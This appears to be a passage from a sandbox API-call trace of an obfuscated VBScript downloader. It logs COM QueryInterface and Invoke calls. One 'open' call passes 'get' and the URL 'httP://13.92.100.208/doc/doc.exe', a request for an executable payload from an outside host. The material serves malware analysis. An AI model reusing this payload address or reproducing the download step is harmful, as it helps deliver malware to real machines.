VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0068.971] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.971] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.971] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aef4 | out: ppvObject=0x14aef4*=0x0) returned 0x80004002 [0068.971] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aeb8 | out: ppvObject=0x14aeb8*=0x83fd480) returned 0x0 [0068.971] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14aeb4 | out: ppvObject=0x14aeb4*=0x83fd490) returned 0x0 [0068.971] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aef4 | out: ppvObject=0x14aef4*=0x0) returned 0x80004002 [0068.971] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.971] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.971] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aef4 | out: ppvObject=0x14aef4*=0x0) returned 0x80004002 [0068.971] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aeb8 | out: ppvObject=0x14aeb8*=0x83fd480) returned 0x0 [0068.971] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14aeb4 | out: ppvObject=0x14aeb4*=0x83fd490) returned 0x0 [0068.971] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aef4 | out: ppvObject=0x14aef4*=0x0) returned 0x80004002 [0068.971] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.971] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.971] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x3 [0068.971] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x2 [0068.971] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bf90 | out: ppvObject=0x14bf90*=0x1112a88) returned 0x0 [0068.972] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14bf94 | out: ppvObject=0x14bf94*=0x0) returned 0x80004002 [0068.972] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bf64 | out: ppvObject=0x14bf64*=0x83fd480) returned 0x0 [0068.972] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bf60 | out: ppvObject=0x14bf60*=0x83fd490) returned 0x0 [0068.972] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14bf94 | out: ppvObject=0x14bf94*=0x0) returned 0x80004002 [0068.972] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.972] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.972] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x2 [0068.972] DOMDocument:IUnknown:Release (This=0x5540fc) returned 0x0 [0068.972] DOMDocument:IUnknown:QueryInterface (in: This=0x554600, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c014 | out: ppvObject=0x14c014*=0x554600) returned 0x0 [0068.972] DOMDocument:IUnknown:AddRef (This=0x554600) returned 0x3 [0068.972] DOMDocument:IUnknown:Release (This=0x554600) returned 0x2 [0068.972] DOMDocument:IUnknown:Release (This=0x554600) returned 0x1 [0068.972] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0068.973] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="objhtxtpdownload", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0068.973] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="objhtxtpdownload", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0068.973] GetCurrentThreadId () returned 0xd44 [0068.973] IUnknown:Release (This=0x1197760) returned 0x6 [0068.973] DOMDocument:IUnknown:AddRef (This=0x554600) returned 0x2 [0068.973] ??3@YAXPAX@Z () returned 0x7f0001 [0068.973] ??3@YAXPAX@Z () returned 0x200001 [0068.973] ??3@YAXPAX@Z () returned 0x740001 [0068.973] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.974] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="tuqkal", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.974] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="tuqkal", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.974] GetCurrentThreadId () returned 0xd44 [0068.974] IUnknown:Release (This=0x1197760) returned 0x5 [0068.974] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.975] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="povmskfh32423", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.975] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="povmskfh32423", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.975] GetCurrentThreadId () returned 0xd44 [0068.975] IUnknown:Release (This=0x1197760) returned 0x5 [0068.975] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.975] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ahoy", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.975] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ahoy", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.975] GetCurrentThreadId () returned 0xd44 [0068.975] IUnknown:Release (This=0x1197760) returned 0x5 [0068.976] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.976] malloc (_Size=0x804) returned 0x8790008 [0068.976] ??2@YAPAXI@Z () returned 0x8460768 [0068.976] ??3@YAXPAX@Z () returned 0x1 [0068.976] malloc (_Size=0x204) returned 0x8790818 [0068.976] malloc (_Size=0x40) returned 0x11977f0 [0068.976] malloc (_Size=0xbc) returned 0x83d71e0 [0068.976] ??2@YAPAXI@Z () returned 0x1129260 [0068.976] free (_Block=0x83d08e0) [0068.976] free (_Block=0x8790008) [0068.976] ??3@YAXPAX@Z () returned 0x740001 [0068.976] free (_Block=0x11977f0) [0068.976] free (_Block=0x8790818) [0068.977] free (_Block=0x11c2398) [0068.977] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.977] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.977] IUnknown:AddRef (This=0x1197760) returned 0x6 [0068.977] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0068.977] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="anny", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0068.977] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="anny", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0068.977] GetCurrentThreadId () returned 0xd44 [0068.977] IUnknown:Release (This=0x1197760) returned 0x6 [0068.977] ??3@YAXPAX@Z () returned 0x7f0001 [0068.977] ??3@YAXPAX@Z () returned 0x200001 [0068.977] ??3@YAXPAX@Z () returned 0x740001 [0068.978] DOMDocument:IUnknown:QueryInterface (in: This=0x554600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3e8 | out: ppvObject=0x14c3e8*=0x0) returned 0x80004002 [0068.978] DOMDocument:IDispatch:GetIDsOfNames (in: This=0x554600, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14c3ec*="open", cNames=0x1, lcid=0x409, rgDispId=0x14c404 | out: rgDispId=0x14c404*=1) returned 0x0 [0068.995] DOMDocument:IUnknown:AddRef (This=0x554600) returned 0x2 [0068.995] DOMDocument:IUnknown:QueryInterface (in: This=0x554600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3f0 | out: ppvObject=0x14c3f0*=0x0) returned 0x80004002 [0068.995] DOMDocument:IDispatch:Invoke (in: This=0x554600, dispIdMember=1, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14c3bc*(rgvarg=([0]=0x83d6768*(varType=0x400c, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e50a4*(varType=0xb, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0000, varVal2=0x470e), varVal2=0x470e), [1]=0x83d6778*(varType=0x400c, wReserved1=0x0, wReserved2=0xb27, wReserved3=0x0, varVal1=0x87e4ad4*(varType=0x8, wReserved1=0x14, wReserved2=0xb954, wReserved3=0x14, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x84607c0), varVal2=0x0), [2]=0x83d6788*(varType=0x8, wReserved1=0x14, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="get ", varVal2=0x1198dc0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14c398, puArgErr=0x14c3dc | out: pDispParams=0x14c3bc*(rgvarg=([0]=0x83d6768*(varType=0x400c, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e50a4*(varType=0xb, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0000, varVal2=0x470e), varVal2=0x470e), [1]=0x83d6778*(varType=0x400c, wReserved1=0x0, wReserved2=0xb27, wReserved3=0x0, varVal1=0x87e4ad4*(varType=0x8, wReserved1=0x14, wReserved2=0xb954, wReserved3=0x14, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x84607c0), varVal2=0x0), [2]=0x83d6788*(varType=0x8, wReserved1=0x14, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="get ", varVal2=0x1198dc0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14c398*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14c3dc*=0x554600) returned 0x0 [0069.823] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bef4 | out: ppvObject=0x14bef4*=0x0) returned 0x80004002 [0069.823] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bee4 | out: ppvObject=0x14bee4*=0x0) returned 0x80004002 [0069.823] DOMDocument:IUnknown:AddRef (This=0x1112a88) returned 0x2 [0069.824] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bfa4 | out: ppvObject=0x14bfa4*=0x1112a88) returned 0x0 [0069.824] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14af04 | out: ppvObject=0x14af04*=0x1112a88) returned 0x0 [0069.824] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aed8 | out: ppvObject=0x14aed8*=0x0) returned 0x80004002 [0069.824] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ae6c | out: ppvObject=0x14ae6c*=0x83fd480) returned 0x0 [0069.824] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ae68 | out: ppvObject=0x14ae68*=0x83fd490) returned 0x0 [0069.824] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aed8 | out: ppvObject=0x14aed8*=0x0) returned 0x80004002 [0069.824] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0069.824] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0069.824] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14aee0 | out: ppvObject=0x14aee0*=0x0) returned 0x80004002 [0069.824] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ae6c | out: ppvObject=0x14ae6c*=0x83fd480) returned 0x0 [0069.824] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ae68 | out: ppvObject=0x14ae68*=0x83fd490) returned 0x0 [0069.824] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14aee0 | out: ppvObject=0x14aee0*=0x0) returned 0x80004002 [0069.824] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0069.824] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0069.825] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0069.825] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ae6c | out: ppvObject=0x14ae6c*=0x83fd480) returned 0x0 [0069.825] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ae68 | out: ppvObject=0x14ae68*=0x83fd490) returned 0x0 [0069.825] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0069.825] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0069.825] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0069.825] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0069.825] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ae6c | out: ppvObject=0x14ae6c*=0x83fd480) returned 0x0 [0069.825] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ae68 | out: ppvObject=0x14ae68*=0x83fd490) returned 0x0 [0069.825] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0069.825] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0069.825] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0069.825] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x3 [0069.825] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14af0c | out: ppvObject=0x14af0c*=0x0) returned 0x80004002 [0069.825] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aef4 | out: ppvObject=0x14aef4*=0x0) returned 0x80004002 [0069.825] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14af10 | out: ppvObject=0x14af10*=0x1112a88) returned 0x0 [0069.825] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, 